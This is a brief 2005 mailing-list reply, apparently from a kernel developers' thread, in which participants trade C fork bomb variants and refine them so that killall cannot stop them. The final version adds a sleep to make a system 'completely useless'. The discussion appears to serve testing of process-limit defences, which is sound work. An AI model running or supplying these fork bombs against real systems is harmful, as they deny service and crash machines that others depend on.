On Wed, 23 Mar 2005 10:05:43 -0800, Paul Jackson <[email protected]> wrote:
> > int main() { while(1) { fork(); fork(); exit(); } }
> > ...
> > the above forkbomb will stop quickly
>
> Yep.
>
> Try this forkbomb:
>
> int main() { while(1) { if (!fork()) continue; if (!fork()) continue; exit(); } }
>
yep, that is better. but system can still be recovered by killall.
a little "sleep" will render the system completely useless, like this:
int main() { while(1) { if (!fork()) continue; if (!fork()) continue;
sleep(5); exit(0); } }
thank you,
aq
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